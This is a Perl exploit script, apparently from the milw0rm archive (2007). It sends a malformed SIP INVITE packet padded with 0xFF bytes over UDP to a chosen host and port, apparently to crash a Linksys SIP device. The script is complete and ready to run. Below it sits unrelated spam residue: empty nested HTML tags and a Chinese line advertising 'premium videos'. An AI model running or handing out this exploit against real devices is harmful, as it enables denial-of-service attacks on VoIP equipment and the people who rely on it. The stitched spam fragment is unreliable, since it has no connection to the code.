#!/usr/bin/perl use IO::Socket::INET; die "Usage $0 " unless ($ARGV[2]); $socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1], Proto=>'udp', PeerAddr=>$ARGV[0]); $msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\377\r Via: SIP/2.0/UDP 192.168.1.2;rport;branch=00\377\r Max-Forwards: 70\377\r To: lynksys \377\r From: ;tag=00\377\r Call-ID: tucu\@192.168.1.2\377\r CSeq: 24865 INVITE\377\r Contact: \377\r Supported: 100rel\377\r Content-Length: 0\377\r \r\n"; $socket->send($msg); # milw0rm.com [2007-04-24] 
    <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>
      <p id="vvttv"></p>

          

          <p id="vvttv"></p>
                <p id="vvttv"></p>
                

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>
                  
<output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>
                    <p id="vvttv"></p>
                    

这里只有精品视频